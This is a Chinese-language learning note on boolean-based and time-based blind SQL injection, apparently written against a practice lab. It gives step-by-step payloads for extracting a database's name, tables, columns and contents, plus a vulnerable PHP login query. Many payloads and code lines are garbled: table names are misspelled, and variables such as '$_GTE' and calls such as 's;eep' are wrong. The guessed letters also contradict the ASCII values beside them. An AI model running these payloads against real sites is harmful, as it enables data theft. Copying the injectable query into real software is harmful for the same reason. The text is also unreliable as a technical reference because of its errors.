数据库注入学习笔记6----盲注(布尔盲注和时间注入)

引:盲注一般用于服务器没有给出sql执行后的回显,分为两类

布尔盲注:
布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
时间盲注:
界面返回值只有一种,true无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看WEB页面返回的时间差来判断注入语句是否正确

盲注涉及的函数:

  • Length(): 函数 返回字符串的长度
  • Substr(): 截取字符串
  • Ascii(): 返回字符的ascii码
  • sleep(n):将程序挂起一段时间n为秒
  • if(expr1,expr2,expr3):判断语句如果第一个语句正确就执行第二个语句如果错误就执行第三个语句

布尔盲注:

当返回结果分别是yes和on,更改ID的值,发现任然是yes和on,由此可以判断,页面只返回yes和on,而没有返回数据库中的数据,所以此处不可以使用union注入。可尝试利用Boolean注入,Boolean注入是指构造sql判断语句,通过查看页面的返回结果来探测那些sql判断条件时成立的,以此获取数据库中的数据。

1.判断注入点、注入类型 
? id=1' and 1=1 --+ 返回正常  ?id=1' and 1=2 --+返回错误 没有显示执行结果,初步判断为盲注
      
2.查数据库长度
?id =1' and (length(database())) >7 --+  判断数据的长度大于7页面正常
?id=1' and(length(database())) > 8  --+  页面错误//数据库长度为7
整个语句的意思就是,数据库名长度大于等于7,结果为yes;大于等于8结果为on,以由此判断出数据库名的长度为7。

3.查数据库库名
?id=1' and(ascii(substr(database(),1,1)))=115--+   第一个字符为"s"       //115具体看下图ASCII表 先用大于小于判断然后用等于判断看页面是否返回正常
?id=1' and(ascii(substr(database(),2,1)))>115--+    继续猜测第二个字符
substr的用法根limit的有区别,需要注意。limit是从0开始排序,而这里是从1开始排序。可以使用Burp的爆破功能爆破其中“t”值。

4.查表名
?id=1' and (ascii(substr((select table_name from information_schema.schema.table where table-schema=database() limit 0,1),1,1)))>100 --+ 第一个表,首字母为'e'
?id=1' and (ascii(substr((select table_name from information_schema.schema.table where table-schema=database() limit 0,1),2,1)))>109 --+ 第一个表,首字母为‘m’
?id=1' and (ascii(substr((select table_name from information_schema.schema.table where table-schema=database() limit 1,1),1,1)))>114 --+ 第二个表首字母为‘r’

5.查字段
?id=1' and(ascii(substr((select column_name from information_schema.colums where table_name='猜解出的表名' limit 0,1)1,1)))=102 ---+ 猜解出的第一个表名列名首字母为‘r’
之后类推

6.查内容
?id=1' and (ascii(substr(( select 猜解出的字段名 from 猜解出的表名 limit 0,1),1,1)))=112--+   猜解出的字段名首字母为'z'

数据库注入学习笔记6----盲注(布尔盲注和时间注入)_第1张图片
代码分析:

  • 程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符、然后将参数ID拼接到SQL语句,从数据库中查询,如果有结果,则yes否则为on。
  • 当访问id=1’or1=1时,数据库执行的语句为select*from users where ‘id’=1 or 1=1#,由于or1=1时永真条件,所以此时页面肯定会返回yes.
  • 当访问id=1’and1=2时,数据库执行的语句为select*from users where ‘id’=1 and 1=2#,由于and1=2时永假条件,所以此时页面肯定会返回on.

时间注入

时间注入是利用sleep()或benchmark()等函数让mysql的执行时间边长,此时if语句的含义是:如果exper1的TRUUE,则if()的返回值为expr2;否则返回则为expe3.所以数据库库名长度的语句应为:

if (length(database()) > 1,sleep(5),1)
  • 上面这行语句的意思是,如果数据库库名长度大于1,则mysql查询休眠5秒,否则查询1.
  • 而查询1的结果,大约只有几十毫秒,根据cuvp suite 中页面的响应时间,可以判断条件是否正确,如:页面响应时间是5秒,表示页面成功执了sleep(5),所以长度是大于1的,尝试将判断数据库库名长度语句中的长度改为10,执行时间为0.404秒,表示页面没有执行sleep(5)而是执行select(1),所以数据库库名长度大于10是错误的。通过多次测试,就可以得到数据库库名长度。得到数据库库名长度后,即可查询数据库库名的第一位字母。使用substr()函数,语句如下:
if(substr(database(),1,1)='s',sleep(5),1)
if (ascii(substr(adtabase(),1,1))>115,0,sleep(5))%23
  • 程序延迟了5秒才返回,说明数据库库名第一位字母为s,以此类推即可得出完整的数据名、表名、字段名和数据

代码分析:

  • 程序获取GTE参数ID,通过preg_match判断参数ID中是否存在union危险字符,然后将参数ID拼接到sql语句中。从数据科技中查询sql语句,如果有结果,则返回yes,否则返回no。当访问该页面时,代码根据数据库查询结果yes和No,而不返回数据库中的任何数据,所以页面上只会显示yes或no,和Boolean注入不同的是,此处没有过滤sleep等字符,代码如下:
?php
$con=mysqli_connect("localhost","root","123455","test");
if(mysqli_connect_errno())
{
echo"连接失败:".mysql_connect_error();
}

$id=$_GTE['ID'];
if(preg_match("/union/i",$id)){
exit("no");
}
$result=mysqli_query($con,"select * from users where 'id'='".$id." '");
$row = mysqli_fetch_array($result);
if ($fow){
   exit("yes");
}else{
   exit("no");
}
?>

此处任然可以使用时间盲注或其他方法,下面用时间注入演示。当访问
id=1’ and if(ord(sudstring(user(),1,1))=114,s;eep(3),1)%23是,执行的sql语句为

select *from users where 'id'='1' and if (ord(subsyring(user(),1,1))=114,seleep(3),1)%23
  • 由于user()为root,root第一个字符为’r’的ASCII码值是114,所以sql语句中if条件成立,执行sleep(3),页面会延迟3s,通过这种延迟即可判断sql语句的执行结果。

总结:

  • 两种盲注都特别耗时间所有建议使用工具如:sqlmap、having等
  • 通过SQL语句插入的时间函数然后通过SQL执行的时间来判断插入的语句是否被执行

你可能感兴趣的:(SQL注入)